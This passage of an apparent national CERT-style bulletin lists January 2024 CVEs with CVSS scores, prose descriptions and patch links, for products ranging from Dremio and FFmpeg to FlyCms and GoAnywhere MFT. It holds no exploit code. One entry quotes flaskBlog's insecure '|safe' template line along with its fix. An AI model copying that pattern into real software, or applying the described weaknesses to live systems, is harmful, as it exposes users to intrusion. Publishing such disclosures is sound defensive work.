			ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-40700		
Vendor: devolutions					
Product: remote_desktop_manager					
Affected Version(s): * Up to (including) 2023.3.36.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	31-Jan-2024	5.4	Cross-site scripting (XSS) vulnerability in the entry overview tab in Devolutions Remote Desktop Manager 2023.3.36 and earlier on Windows allows an attacker with access to a data source to inject a malicious script via a specially crafted input in an entry. **CVE ID : CVE-2024-0589**	https://devolutions.net/security/advisories/DEVO-2024-0001/	A-DEV-REMO-130224/383
Vendor: devscred					
Product: exclusive_addons_for_elementor					
Affected Version(s): * Up to (including) 2.6.8					
Improper Neutralization of Input During Web Page Generation	27-Jan-2024	5.4	The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Link Anything	https://plugins.trac.wordpress.org/changeset/3026499/exclusive-addons-for-elementor/trunk/extensions/li	A-DEV-EXCL-130224/384

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			functionality in all versions up to, and including, 2.6.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. **CVE ID : CVE-2024-0824**	nk-anything.php, https://www.wordfence.com/threat-intel/vulnerabilities/id/925b0a86-ed23-471c-84e2-ae78a01b1876?source=cve	
Vendor: dfeg					
Product: electronic_deliverables_creation_support_tool					
Affected Version(s): * Up to (excluding) 1.0.4					
Improper Restriction of XML External Entity Reference	24-Jan-2024	5.5	Electronic Deliverables Creation Support Tool (Construction Edition) prior to Ver1.0.4 and Electronic Deliverables Creation Support Tool (Design & Survey Edition) prior to Ver1.0.4 improperly restrict XML external entity references (XXE). By processing a specially crafted XML file, arbitrary	N/A	A-DFE-ELEC-130224/385

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			files on the system may be read by an attacker. **CVE ID : CVE-2024-21796**		
Vendor: discord					
Product: discord					
Affected Version(s): * Up to (including) 0.0.291					
N/A	28-Jan-2024	9.8	An issue in Discord for macOS version 0.0.291 and before, allows remote attackers to execute arbitrary code via the RunAsNode and enableNodeClilnspectArguments settings. **CVE ID : CVE-2024-23739**	N/A	A-DIS-DISC-130224/386
Vendor: dmparekh					
Product: wordpress_database_administrator					
Affected Version(s): * Up to (including) 1.0.3					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Jan-2024	9.8	The WordPress Database Administrator WordPress plugin through 1.0.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.	N/A	A-DMP-WORD-130224/387

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-3211		
Vendor: dogukanurker					
Product: flaskblog					
Affected Version(s): * Up to (including) 1.1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	flaskBlog is a simple blog app built with Flask. Improper storage and rendering of the `/user/<user>` page allows a user's comments to execute arbitrary javascript code. The html template `user.html` contains the following code snippet to render comments made by a user: `<div class="content" tag="content">{{comment[2]|safe}}</div>`. Use of the "safe" tag causes flask to _not_ escape the rendered content. To remediate this, simply remove the `|safe` tag from the HTML above. No fix is is available and users are advised to manually edit their installation. **CVE ID : CVE-2024-22414**	https://github.com/DogukanUrker/flaskBlog/security/advisories/GHSA-mrcw-j96f-p6v6	A-DOG-FLAS-130224/388
Vendor: Dolibarr					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: dolibarr					
Affected Version(s): 18.0.4					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. Version 18.0.4 has a HTML Injection vulnerability in the Home page of the Dolibarr Application. This vulnerability allows an attacker to inject arbitrary HTML tags and manipulate the rendered content in the application's response. Specifically, I was able to successfully inject a new HTML tag into the returned document and, as a result, was able to comment out some part of the Dolibarr App Home page HTML code. This behavior can be exploited to perform various attacks like Cross-Site Scripting (XSS). To remediate the	https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-7947-48q7-cp5m	A-DOL-DOLI-130224/389

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			issue, validate and sanitize all user-supplied input, especially within HTML attributes, to prevent HTML injection attacks; and implement proper output encoding when rendering user-provided data to ensure it is treated as plain text rather than executable HTML. **CVE ID : CVE-2024-23817**		
Vendor: dom96					
Product: httpbeast					
Affected Version(s): * Up to (including) 0.4.1					
N/A	19-Jan-2024	9.8	An issue in dom96 HTTPbeast v.0.4.1 and before allows a remote attacker to execute arbitrary code via a crafted request to the parser.nim component. **CVE ID : CVE-2023-50694**	https://github.com/dom96/httpbeast/pull/96	A-DOM-HTTP-130224/390
Vendor: dremio					
Product: dremio					
Affected Version(s): From (including) 22.0.0 Up to (excluding) 22.2.3					
Improper Limitation of a Pathname to a Restricted	22-Jan-2024	8.8	Dremio before 24.3.1 allows path traversal. An authenticated user who has no privileges on	https://docs.dremio.com/current/reference/bulletins/2024-01-12-01	A-DRE-DREM-130224/391

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Directory ('Path Traversal')			certain folders (and the files and datasets in these folders) can access these folders, files, and datasets. To be successful, the user must have access to the source and at least one folder in the source. Affected versions are: 24.0.0 through 24.3.0, 23.0.0 through 23.2.3, and 22.0.0 through 22.2.2. Fixed versions are: 24.3.1 and later, 23.2.4 and later, and 22.2.3 and later. **CVE ID : CVE-2024-23768**		
Affected Version(s): From (including) 23.0.0 Up to (excluding) 23.2.4					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	22-Jan-2024	8.8	Dremio before 24.3.1 allows path traversal. An authenticated user who has no privileges on certain folders (and the files and datasets in these folders) can access these folders, files, and datasets. To be successful, the user must have access to the source and at least one folder in the source. Affected versions are: 24.0.0 through	https://docs.dremio.com/current/reference/bulletins/2024-01-12-01	A-DRE-DREM-130224/392

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			24.3.0, 23.0.0 through 23.2.3, and 22.0.0 through 22.2.2. Fixed versions are: 24.3.1 and later, 23.2.4 and later, and 22.2.3 and later. **CVE ID : CVE-2024-23768**		
Affected Version(s): From (including) 24.0.0 Up to (excluding) 24.3.1					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	22-Jan-2024	8.8	Dremio before 24.3.1 allows path traversal. An authenticated user who has no privileges on certain folders (and the files and datasets in these folders) can access these folders, files, and datasets. To be successful, the user must have access to the source and at least one folder in the source. Affected versions are: 24.0.0 through 24.3.0, 23.0.0 through 23.2.3, and 22.0.0 through 22.2.2. Fixed versions are: 24.3.1 and later, 23.2.4 and later, and 22.2.3 and later. **CVE ID : CVE-2024-23768**	https://docs.dremio.com/current/reference/bulletins/2024-01-12-01	A-DRE-DREM-130224/393
Vendor: easyftp_server_project					
Product: easyftp_server					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 1.7.0.2					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	16-Jan-2024	8.8	A vulnerability, which was classified as critical, was found in EasyFTP 1.7.0.2. Affected is an unknown function of the component MKD Command Handler. The manipulation leads to buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250716. **CVE ID : CVE-2011-10005**	N/A	A-EAS-EASY-130224/394
Vendor: easy_chat_server_project					
Product: easy_chat_server					
Affected Version(s): 3.1					
Improper Resource Shutdown or Release	18-Jan-2024	5.3	A vulnerability, which was classified as problematic, has been found in EFS Easy Chat Server 3.1. Affected by this issue is some unknown functionality of the component HTTP GET Request Handler. The manipulation of the argument	N/A	A-EAS-EASY-130224/395

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			USERNAME leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251480. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0695**		
Vendor: easy_file_sharing_ftp_server_project					
Product: easy_file_sharing_ftp_server					
Affected Version(s): 2.0					
Improper Resource Shutdown or Release	18-Jan-2024	7.5	A vulnerability classified as problematic was found in EFS Easy File Sharing FTP 2.0. Affected by this vulnerability is an unknown functionality. The manipulation of the argument username leads to denial of service. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated	N/A	A-EAS-EASY-130224/396

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			identifier of this vulnerability is VDB-251479. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0693**		
Affected Version(s): 3.6					
Improper Resource Shutdown or Release	19-Jan-2024	7.5	A vulnerability classified as problematic has been found in EFS Easy File Sharing FTP 3.6. This affects an unknown part of the component Login. The manipulation of the argument password leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251559. **CVE ID : CVE-2024-0736**	N/A	A-EAS-EASY-130224/397
Vendor: echa.europa					
Product: iuclid					
Affected Version(s): 7.10.3					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Incorrect Default Permissions	21-Jan-2024	7.1	A vulnerability, which was classified as critical, was found in European Chemicals Agency IUCLID 7.10.3 on Windows. Affected is an unknown function of the file iuclid6.exe of the component Desktop Installer. The manipulation leads to incorrect default permissions. The attack needs to be approached locally. VDB-251670 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0770**	N/A	A-ECH-IUCL-130224/398
Vendor: eduva					
Product: albo_pretorio_online					
Affected Version(s): * Up to (including) 4.6.6					
Exposure of Sensitive Information to an Unauthorized Actor	24-Jan-2024	7.5	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Ignazio Scimone Albo Pretorio On line.This issue	N/A	A-EDU-ALBO-130224/399

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects Albo Pretorio On line: from n/a through 4.6.6. **CVE ID : CVE-2024-22301**		
Vendor: ejinshan					
Product: terminal_security_system					
Affected Version(s): 8.0					
Unrestricted Upload of File with Dangerous Type	20-Jan-2024	9.8	File upload vulnerability in ejinshan v8+ terminal security system allows attackers to upload arbitrary files to arbitrary locations on the server. **CVE ID : CVE-2021-31314**	N/A	A-EJI-TERM-130224/400
Vendor: elijahharry					
Product: hoolock					
Affected Version(s): From (including) 2.0.0 Up to (excluding) 2.2.1					
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	22-Jan-2024	6.5	hoolock is a suite of lightweight utilities designed to maintain a small footprint when bundled. Starting in version 2.0.0 and prior to version 2.2.1, utility functions related to object paths (`get`, `set`, and `update`) did not block attempts to access or alter object	https://github.com/elijahharry/hoolock/commit/97ae80e856774335d92743c635ffeae2f652b982, https://github.com/elijahharry/hoolock/security/advisories/GHSA-4c2g-hx49-7h25	A-ELI-HOOL-130224/401

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			prototypes. Starting in version 2.2.1, the `get`, `set` and `update` functions throw a `TypeError` when a user attempts to access or alter inherited properties. **CVE ID : CVE-2024-23339**		
Vendor: elisebosse					
Product: frontpage_manager					
Affected Version(s): * Up to (including) 1.3					
Cross-Site Request Forgery (CSRF)	31-Jan-2024	8.8	Cross-Site Request Forgery (CSRF) vulnerability in Elise Bosse Frontpage Manager.This issue affects Frontpage Manager: from n/a through 1.3. **CVE ID : CVE-2024-22285**	N/A	A-ELI-FRON-130224/402
Vendor: embedchain					
Product: embedchain					
Affected Version(s): * Up to (excluding) 0.1.57					
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	21-Jan-2024	9.8	The OpenAPI loader in Embedchain before 0.1.57 allows attackers to execute arbitrary code, related to the openapi.py	https://github.com/embedchain/embedchain/compare/0.1.56...0.1.57, https://github.com/embedchain/embedchain/pull/1122	A-EMB-EMBE-130224/403

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			yaml.load function argument. **CVE ID : CVE-2024-23731**		
N/A	21-Jan-2024	7.5	The JSON loader in Embedchain before 0.1.57 allows a ReDoS (regular expression denial of service) via a long string to json.py. **CVE ID : CVE-2024-23732**	https://github.com/embedchain/embedchain/compare/0.1.56...0.1.57, https://github.com/embedchain/embedchain/pull/1122	A-EMB-EMBE-130224/404
Vendor: enonic					
Product: xp					
Affected Version(s): * Up to (excluding) 7.7.4					
Session Fixation	19-Jan-2024	9.8	Enonic XP versions less than 7.7.4 are vulnerable to a session fixation issue. An remote and unauthenticated attacker can use prior sessions due to the lack of invalidating session attributes. **CVE ID : CVE-2024-23679**	https://github.com/enonic/xp/commit/0189975691e9e6407a9fee87006f730e84f734ff, https://github.com/enonic/xp/commit/1f44674eb9ab3fbab7103e8d08067846e88bace4, https://github.com/enonic/xp/commit/2abac31cec8679074debc4f1fb69c25930e40842	A-ENO-XP-130224/405
Affected Version(s): 7.8.0					
Session Fixation	19-Jan-2024	9.8	Enonic XP versions less than 7.7.4 are vulnerable to a session fixation issue. An remote	https://github.com/enonic/xp/commit/0189975691e9e6407a9fee87006f730	A-ENO-XP-130224/406

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and unauthenticated attacker can use prior sessions due to the lack of invalidating session attributes. **CVE ID : CVE-2024-23679**	e84f734ff, https://github.com/enonic/xp/commit/1f44674eb9ab3fbab7103e8d08067846e88bace4, https://github.com/enonic/xp/commit/2abac31cec8679074debc4f1fb69c25930e40842	
Vendor: etherscan					
Product: reptilian_coin					
Affected Version(s): -					
N/A	19-Jan-2024	7.5	RPTC 0x3b08c was discovered to not conduct status checks on the parameter tradingOpen. This vulnerability can allow attackers to conduct unauthorized transfer operations. **CVE ID : CVE-2023-47035**	N/A	A-ETH-REPT-130224/407
Vendor: explorerplusplus					
Product: explorer\+\+					
Affected Version(s): 1.3.5.531					
Buffer Copy without Checking Size of Input ('Classic	17-Jan-2024	7.8	Buffer overflow vulnerability in Explorer++ affecting version 1.3.5.531. A local attacker could execute arbitrary code via a long	N/A	A-EXP-EXPL-130224/408

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Buffer Overflow')			filename argument by monitoring Structured Exception Handler (SEH) records. **CVE ID : CVE-2024-0645**		
Vendor: ezhometech					
Product: ezserver					
Affected Version(s): 6.4.017					
N/A	25-Jan-2024	7.5	EzServer 6.4.017 allows a denial of service (daemon crash) via a long string, such as one for the RNTO command. **CVE ID : CVE-2024-23985**	N/A	A-EZH-EZSE-130224/409
Vendor: Facebook					
Product: meta_spark_studio					
Affected Version(s): * Up to (excluding) 176					
N/A	16-Jan-2024	7.8	Prior to v176, when opening a new project Meta Spark Studio would execute scripts defined inside of a package.json file included as part of that project. Those scripts would have the ability to execute arbitrary code on the system as the application. **CVE ID : CVE-2024-23347**	https://www.facebook.com/security/advisories/cve-2024-23347	A-FAC-META-130224/410
Vendor: factominer					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: factoinvestigate					
Affected Version(s): * Up to (including) 1.9					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	6.1	A vulnerability, which was classified as problematic, was found in FactoMineR FactoInvestigate up to 1.9. Affected is an unknown function of the component HTML Report Generator. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251544. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0720**	N/A	A-FAC-FACT-130224/411
Vendor: Fedoraproject					
Product: extra_packages_for_enterprise_linux					
Affected Version(s): 8.0					
N/A	16-Jan-2024	9.8	The Mock software contains a vulnerability wherein an attacker could	http://www.openwall.com/lists/oss-security/2024/01/16/1,	A-FED-EXTR-130224/412

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potentially exploit privilege escalation, enabling the execution of arbitrary code with root user privileges. This weakness stems from the absence of proper sandboxing during the expansion and execution of Jinja2 templates, which may be included in certain configuration parameters. While the Mock documentation advises treating users added to the mock group as privileged, certain build systems invoking mock on behalf of users might inadvertently permit less privileged users to define configuration tags. These tags could then be passed as parameters to mock during execution, potentially leading to the utilization of Jinja2 templates for remote privilege escalation and the	https://github.com/xsuchy/templated-dictionary/commit/0740bd0ca8d487301881541028977d120f8b8933, https://github.com/xsuchy/templated-dictionary/commit/bcd90f0dafa365575c4b101e6f5d98c4ef4e4b69	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution of arbitrary code as the root user on the build server. **CVE ID : CVE-2023-6395**		
Use After Free	16-Jan-2024	5.5	A heap use-after-free issue has been identified in SQLite in the jsonParseAddNodeArray() function in sqlite3.c. This flaw allows a local attacker to leverage a victim to pass specially crafted malicious input to the application, potentially causing a crash and leading to a denial of service. **CVE ID : CVE-2024-0232**	N/A	A-FED-EXTR-130224/413
Affected Version(s): 7.0					
N/A	16-Jan-2024	9.8	The Mock software contains a vulnerability wherein an attacker could potentially exploit privilege escalation, enabling the execution of arbitrary code with root user privileges. This weakness stems from the absence of	http://www.openwall.com/lists/oss-security/2024/01/16/1, https://github.com/xsuchy/templated-dictionary/commit/0740bd0ca8d487301881541028977d120f8b8933, https://github.com/xsuchy/tem	A-FED-EXTR-130224/414

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			proper sandboxing during the expansion and execution of Jinja2 templates, which may be included in certain configuration parameters. While the Mock documentation advises treating users added to the mock group as privileged, certain build systems invoking mock on behalf of users might inadvertently permit less privileged users to define configuration tags. These tags could then be passed as parameters to mock during execution, potentially leading to the utilization of Jinja2 templates for remote privilege escalation and the execution of arbitrary code as the root user on the build server. **CVE ID : CVE-2023-6395**	plated-dictionary/commit/bcd90f0daf a365575c4b101 e6f5d98c4ef4e4 b69	
Affected Version(s): 9.0					
N/A	16-Jan-2024	9.8	The Mock software contains a	http://www.openwall.com/list	A-FED-EXTR-130224/415

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability wherein an attacker could potentially exploit privilege escalation, enabling the execution of arbitrary code with root user privileges. This weakness stems from the absence of proper sandboxing during the expansion and execution of Jinja2 templates, which may be included in certain configuration parameters. While the Mock documentation advises treating users added to the mock group as privileged, certain build systems invoking mock on behalf of users might inadvertently permit less privileged users to define configuration tags. These tags could then be passed as parameters to mock during execution, potentially leading to the utilization of	s/oss-security/2024/01/16/1, https://github.com/xsuchy/templated-dictionary/commit/0740bd0ca8d487301881541028977d120f8b8933, https://github.com/xsuchy/templated-dictionary/commit/bcd90f0dafa365575c4b101e6f5d98c4ef4e4b69	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Jinja2 templates for remote privilege escalation and the execution of arbitrary code as the root user on the build server. **CVE ID : CVE-2023-6395**		
Vendor: Ffmpeg					
Product: ffmpeg					
Affected Version(s): * Up to (excluding) 6.1					
Integer Overflow or Wraparound	27-Jan-2024	9.8	Integer overflow vulnerability in FFmpeg before n6.1, allows remote attackers to execute arbitrary code via the jpegxl_anim_read_packet component in the JPEG XL Animation decoder. **CVE ID : CVE-2024-22860**	https://github.com/FFmpeg/FFmpeg/commit/d2e8974699a9e35cc1a926bf74a972300d629cd5	A-FFM-FFMP-130224/416
Integer Overflow or Wraparound	27-Jan-2024	9.8	Integer overflow vulnerability in FFmpeg before n6.1, allows remote attackers to execute arbitrary code via the JJPEG XL Parser. **CVE ID : CVE-2024-22862**	https://github.com/FFmpeg/FFmpeg/commit/ca09d8a0dcd82e3128e62463231296aaf63ae6f7	A-FFM-FFMP-130224/417
Integer Overflow or Wraparound	27-Jan-2024	7.5	Integer overflow vulnerability in FFmpeg before n6.1, allows attackers to cause a denial of service	https://github.com/FFmpeg/FFmpeg/commit/87b8c1081959e45ffdcbabb3d5	A-FFM-FFMP-130224/418

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(DoS) via the avcodec/osq module. **CVE ID : CVE-2024-22861**	3ac9882ef2b5ce	
Vendor: flexera					
Product: installshield					
Affected Version(s): 2018					
Incorrect Default Permissions	26-Jan-2024	5.5	A vulnerability has been reported in Suite Setups built with versions prior to InstallShield 2023 R2. This vulnerability may allow locally authenticated users to cause a Denial of Service (DoS) condition when handling move operations on local, temporary folders. **CVE ID : CVE-2023-29081**	N/A	A-FLE-INST-130224/419
Affected Version(s): 2023					
Incorrect Default Permissions	26-Jan-2024	5.5	A vulnerability has been reported in Suite Setups built with versions prior to InstallShield 2023 R2. This vulnerability may allow locally authenticated users to cause a Denial of Service (DoS) condition when handling move operations	N/A	A-FLE-INST-130224/420

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			on local, temporary folders. **CVE ID : CVE-2023-29081**		
Affected Version(s): 2016					
Incorrect Default Permissions	26-Jan-2024	5.5	A vulnerability has been reported in Suite Setups built with versions prior to InstallShield 2023 R2. This vulnerability may allow locally authenticated users to cause a Denial of Service (DoS) condition when handling move operations on local, temporary folders. **CVE ID : CVE-2023-29081**	N/A	A-FLE-INST-130224/421
Affected Version(s): 2017					
Incorrect Default Permissions	26-Jan-2024	5.5	A vulnerability has been reported in Suite Setups built with versions prior to InstallShield 2023 R2. This vulnerability may allow locally authenticated users to cause a Denial of Service (DoS) condition when handling move operations on local, temporary folders.	N/A	A-FLE-INST-130224/422

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-29081		
Affected Version(s): 2019					
Incorrect Default Permissions	26-Jan-2024	5.5	A vulnerability has been reported in Suite Setups built with versions prior to InstallShield 2023 R2. This vulnerability may allow locally authenticated users to cause a Denial of Service (DoS) condition when handling move operations on local, temporary folders. **CVE ID : CVE-2023-29081**	N/A	A-FLE-INST-130224/423
Affected Version(s): 2020					
Incorrect Default Permissions	26-Jan-2024	5.5	A vulnerability has been reported in Suite Setups built with versions prior to InstallShield 2023 R2. This vulnerability may allow locally authenticated users to cause a Denial of Service (DoS) condition when handling move operations on local, temporary folders. **CVE ID : CVE-2023-29081**	N/A	A-FLE-INST-130224/424
Affected Version(s): 2021					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Incorrect Default Permissions	26-Jan-2024	5.5	A vulnerability has been reported in Suite Setups built with versions prior to InstallShield 2023 R2. This vulnerability may allow locally authenticated users to cause a Denial of Service (DoS) condition when handling move operations on local, temporary folders. **CVE ID : CVE-2023-29081**	N/A	A-FLE-INST-130224/425
Affected Version(s): 2022					
Incorrect Default Permissions	26-Jan-2024	5.5	A vulnerability has been reported in Suite Setups built with versions prior to InstallShield 2023 R2. This vulnerability may allow locally authenticated users to cause a Denial of Service (DoS) condition when handling move operations on local, temporary folders. **CVE ID : CVE-2023-29081**	N/A	A-FLE-INST-130224/426
Vendor: flink-extended					
Product: aiflow					
Affected Version(s): 0.3.1					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Deserialization of Untrusted Data	27-Jan-2024	9.8	A vulnerability was found in flink-extended ai-flow 0.3.1. It has been declared as critical. Affected by this vulnerability is the function cloudpickle.loads of the file \ai_flow\cli\commands\workflow_command.py. The manipulation leads to deserialization. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The identifier VDB-252205 was assigned to this vulnerability. **CVE ID : CVE-2024-0960**	N/A	A-FLI-AIFL-130224/427
Vendor: fluentforms					
Product: contact_form					
Affected Version(s): * Up to (including) 5.1.5					
Improper Neutralization of Input During Web Page Generation	27-Jan-2024	4.8	The Contact Form Plugin – Fastest Contact Form Builder Plugin for WordPress by Fluent Forms plugin for	https://plugins.trac.wordpress.org/changeset/3022938/fluentform/tags/5.1.7/app/Helpers/Helper.php?old	A-FLU-CONT-130224/428

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			WordPress is vulnerable to Stored Cross-Site Scripting via imported form titles in all versions up to, and including, 5.1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. **CVE ID : CVE-2024-0618**	=3000676&old_path=fluentform%2Ftags%2F5.1.5%2Fapp%2FHelpers%2FHelper.php	
Vendor: flycms_project					
Product: flycms					
Affected Version(s): 1.0					
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/score/del. **CVE ID : CVE-2024-22568**	N/A	A-FLY-FLYC-130224/429

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/user/group_save. **CVE ID : CVE-2024-22591**	N/A	A-FLY-FLYC-130224/430
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/user/group_update **CVE ID : CVE-2024-22592**	N/A	A-FLY-FLYC-130224/431
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/admin/add_group_save **CVE ID : CVE-2024-22593**	N/A	A-FLY-FLYC-130224/432
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/admin/update_group_save. **CVE ID : CVE-2024-22699**	N/A	A-FLY-FLYC-130224/433
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via	N/A	A-FLY-FLYC-130224/434

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/system/score/scorerule_save **CVE ID : CVE-2024-22601**		
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/links/add_link **CVE ID : CVE-2024-22603**	N/A	A-FLY-FLYC-130224/435
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/email/email_conf_updagte **CVE ID : CVE-2024-22817**	N/A	A-FLY-FLYC-130224/436
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerbility via /system/site/filterKeyword_save **CVE ID : CVE-2024-22818**	N/A	A-FLY-FLYC-130224/437
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/email/email_templets_update. **CVE ID : CVE-2024-22819**	N/A	A-FLY-FLYC-130224/438

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	FlyCms 1.0 is vulnerable to Cross Site Scripting (XSS) in the system website settings website name section. **CVE ID : CVE-2024-22548**	N/A	A-FLY-FLYC-130224/439
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	FlyCms 1.0 is vulnerable to Cross Site Scripting (XSS) in the email settings of the website settings section. **CVE ID : CVE-2024-22549**	N/A	A-FLY-FLYC-130224/440
Vendor: formtools					
Product: form_toools					
Affected Version(s): 3.1.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	Form Tools v3.1.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /form_builder/preview.php?form_id=2. **CVE ID : CVE-2024-22637**	N/A	A-FOR-FORM-130224/441
Vendor: fortra					
Product: goanywhere_managed_file_transfer					
Affected Version(s): 6.0.0					
Direct Request ('Forced Browsing')	22-Jan-2024	9.8	Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an	https://www.fortra.com/security/advisory/fi-2024-001	A-FOR-GOAN-130224/442

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthorized user to create an admin user via the administration portal. **CVE ID : CVE-2024-0204**		
Affected Version(s): From (including) 7.0.0 Up to (excluding) 7.4.1					
Direct Request ('Forced Browsing')	22-Jan-2024	9.8	Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal. **CVE ID : CVE-2024-0204**	https://www.fortra.com/security/advisory/fi-2024-001	A-FOR-GOAN-130224/443
Vendor: foru_cms_project					
Product: foru_cms					
